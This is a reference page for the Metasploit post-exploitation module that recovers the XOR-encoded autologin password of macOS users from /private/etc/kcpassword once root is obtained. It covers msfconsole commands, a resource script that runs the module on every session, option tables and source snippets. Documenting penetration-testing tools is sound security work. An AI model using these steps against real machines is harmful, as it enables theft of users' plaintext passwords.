OSX Gather Autologin Password as Root - Metasploit


This page contains detailed information about how to use the post/osx/gather/autologin_password metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: OSX Gather Autologin Password as Root
Module: post/osx/gather/autologin_password
Source code: modules/post/osx/gather/autologin_password.rb
Disclosure date: -
Last modification time: 2018-05-22 22:25:39 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will steal the plaintext password of any user on the machine with autologin enabled. Root access is required. When a user has autologin enabled (System Preferences -> Accounts), OSX stores their password with an XOR encoding in /private/etc/kcpassword.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/autologin_password

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/autologin_password
msf post(autologin_password) > show options
    ... show and set options ...
msf post(autologin_password) > set SESSION session-id
msf post(autologin_password) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/autologin_password")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the osx/gather/autologin_password post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/autologin_password

msf6 post(osx/gather/autologin_password) > show info

       Name: OSX Gather Autologin Password as Root
     Module: post/osx/gather/autologin_password
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  joev <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will steal the plaintext password of any user on the 
  machine with autologin enabled. Root access is required. When a user 
  has autologin enabled (System Preferences -> Accounts), OSX stores 
  their password with an XOR encoding in /private/etc/kcpassword.

References:
  http://www.brock-family.org/gavin/perl/kcpassword.html

Module Options

This is a complete list of options available in the osx/gather/autologin_password post exploitation module:

msf6 post(osx/gather/autologin_password) > show options

Module options (post/osx/gather/autologin_password):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the osx/gather/autologin_password post exploitation module:

msf6 post(osx/gather/autologin_password) > show advanced

Module advanced options (post/osx/gather/autologin_password):

   Name             Current Setting          Required  Description
   ----             ---------------          --------  -----------
   KCPASSWORD_PATH  /private/etc/kcpassword  yes       Path to kcpassword file
   VERBOSE          false                    no        Enable detailed status messages
   WORKSPACE                                 no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the osx/gather/autologin_password module can do:

msf6 post(osx/gather/autologin_password) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the osx/gather/autologin_password post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/autologin_password) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Root privileges are required to read kcpassword file

Here is a relevant code snippet related to the "Root privileges are required to read kcpassword file" error message:

35:	  end
36:	
37:	  def run
38:	    # ensure the user is root (or can read the kcpassword)
39:	    unless is_root?
40:	      fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file")
41:	    end
42:	
43:	    # read the autologin account from prefs plist
44:	    read_cmd = "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username"
45:	    autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")

No users on this machine have autologin enabled

Here is a relevant code snippet related to the "No users on this machine have autologin enabled" error message:

45:	    autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")
46:	
47:	    if autouser.present?
48:	      print_status "User #{autouser} has autologin enabled, decoding password..."
49:	    else
50:	      fail_with(Failure::NotVulnerable, "No users on this machine have autologin enabled")
51:	    end
52:	
53:	    # kcpass contains the XOR'd bytes
54:	    kcpass = read_file(kcpassword_path)
55:	    key = AUTOLOGIN_XOR_KEY

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References

See Also

Check also the following modules related to this module:

Authors

  • joev

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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